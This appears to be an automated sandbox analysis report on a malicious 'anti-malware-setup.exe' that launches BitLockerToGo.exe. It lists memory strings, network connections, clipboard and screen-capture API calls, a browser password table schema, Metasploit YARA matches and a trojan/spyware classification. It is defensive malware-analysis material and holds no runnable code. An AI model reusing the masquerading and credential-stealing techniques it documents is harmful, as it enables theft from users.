Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: BitLockerToGo.exe, 00000003.00000003.2411433910.0000000003497000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.st1T
Source: BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampower
Source: BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb
Source: BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356623216.00000000034F6000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345639041.0000000003459000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: BitLockerToGo.exe, 00000003.00000003.2385701315.0000000005BA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BitLockerToGo.exe, 00000003.00000003.2385701315.0000000005BA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: BitLockerToGo.exe, 00000003.00000003.2357767548.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357865261.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357621747.0000000005ABB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: BitLockerToGo.exe, 00000003.00000003.2357767548.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357865261.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357621747.0000000005ABB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: BitLockerToGo.exe, 00000003.00000003.2345639041.00000000034A9000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356666158.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcnT
Source: BitLockerToGo.exe, 00000003.00000003.2385701315.0000000005BA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: BitLockerToGo.exe, 00000003.00000003.2385701315.0000000005BA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: BitLockerToGo.exe, 00000003.00000003.2385701315.0000000005BA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: BitLockerToGo.exe, 00000003.00000003.2385701315.0000000005BA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: BitLockerToGo.exe, 00000003.00000003.2385701315.0000000005BA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: BitLockerToGo.exe, 00000003.00000003.2385701315.0000000005BA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 62001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62001
Source: unknown	Network traffic detected: HTTP traffic on port 61984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62017

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:61984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:62001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:62017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:62024 version: TLS 1.2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_00431AA0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_00431AA0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_00431AA0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_00431AA0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_00431C10 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

3_2_00431C10

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2322019566.000000000213A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth

Source: C:\Users\user\Desktop\anti-malware-setup.exe

Code function: 0_2_00CFBD40 DuplicateHandle,GetCurrentThreadId,CreateWaitableTimerExW,CreateWaitableTimerExW,NtCreateWaitCompletionPacket,VirtualQuery,

0_2_00CFBD40

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00436980	3_2_00436980
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0043E2B0	3_2_0043E2B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00436C90	3_2_00436C90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00409D39	3_2_00409D39
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004085E0	3_2_004085E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004165E4	3_2_004165E4
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0040D5FD	3_2_0040D5FD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004206D0	3_2_004206D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00410698	3_2_00410698
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0040AF59	3_2_0040AF59
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042AF24	3_2_0042AF24
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004227F6	3_2_004227F6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041C850	3_2_0041C850
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042A855	3_2_0042A855
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042E85A	3_2_0042E85A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042F069	3_2_0042F069
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042406D	3_2_0042406D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004258C0	3_2_004258C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004110E0	3_2_004110E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004330EE	3_2_004330EE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041508C	3_2_0041508C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0043D090	3_2_0043D090
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004198A0	3_2_004198A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0040F8A6	3_2_0040F8A6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004310AA	3_2_004310AA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004218B7	3_2_004218B7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0043D140	3_2_0043D140
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041695C	3_2_0041695C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00436160	3_2_00436160
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00403970	3_2_00403970
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00427100	3_2_00427100
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00416106	3_2_00416106
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00437910	3_2_00437910
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0043D1D0	3_2_0043D1D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041D1E0	3_2_0041D1E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0040D9ED	3_2_0040D9ED
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004299F0	3_2_004299F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00405980	3_2_00405980
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0040AA40	3_2_0040AA40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00406270	3_2_00406270
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042420E	3_2_0042420E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00421220	3_2_00421220
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004302E1	3_2_004302E1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004282FF	3_2_004282FF
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00438292	3_2_00438292
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00423290	3_2_00423290
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00424AB0	3_2_00424AB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042E348	3_2_0042E348
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041E360	3_2_0041E360
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0040CB05	3_2_0040CB05
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00426B09	3_2_00426B09
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042FB10	3_2_0042FB10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042631D	3_2_0042631D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00404320	3_2_00404320
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00414BFF	3_2_00414BFF
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00402BA0	3_2_00402BA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00411BB0	3_2_00411BB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041FC40	3_2_0041FC40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00404C50	3_2_00404C50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041CC60	3_2_0041CC60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00423470	3_2_00423470
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0043DC10	3_2_0043DC10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041B427	3_2_0041B427
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004374D0	3_2_004374D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004074E0	3_2_004074E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042B4E1	3_2_0042B4E1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00426578	3_2_00426578
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00445D2A	3_2_00445D2A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00413DC0	3_2_00413DC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004095F0	3_2_004095F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041C580	3_2_0041C580
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042D65C	3_2_0042D65C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00431600	3_2_00431600
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00421E04	3_2_00421E04
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00414620	3_2_00414620
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00405ED0	3_2_00405ED0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00408EE0	3_2_00408EE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041AE87	3_2_0041AE87
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00424690	3_2_00424690
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041BE9F	3_2_0041BE9F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00402F40	3_2_00402F40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042A742	3_2_0042A742
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00406700	3_2_00406700
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00422F30	3_2_00422F30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0043DF30	3_2_0043DF30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0043CF30	3_2_0043CF30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0043C7C4	3_2_0043C7C4
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0043A7E0	3_2_0043A7E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004247A4	3_2_004247A4
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042A7AD	3_2_0042A7AD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041CFB0	3_2_0041CFB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004187B0	3_2_004187B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042A7BC	3_2_0042A7BC

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 00408040 appears 52 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 00413DB0 appears 77 times

Source: anti-malware-setup.exe, 00000000.00000002.2322019566.0000000002100000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs anti-malware-setup.exe

Source: anti-malware-setup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2322019566.000000000213A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/0@13/2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_00436C90 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

3_2_00436C90

Source: anti-malware-setup.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\anti-malware-setup.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: BitLockerToGo.exe, 00000003.00000003.2358199369.0000000005AA6000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2358480602.0000000005A89000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: anti-malware-setup.exe	Virustotal: Detection: 72%
Source: anti-malware-setup.exe	ReversingLabs: Detection: 71%

Source: unknown	Process created: C:\Users\user\Desktop\anti-malware-setup.exe "C:\Users\user\Desktop\anti-malware-setup.exe"
Source: C:\Users\user\Desktop\anti-malware-setup.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Users\user\Desktop\anti-malware-setup.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"	Jump to behavior

Source: C:\Users\user\Desktop\anti-malware-setup.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\anti-malware-setup.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: windows.storage.dll	Jump to behavior
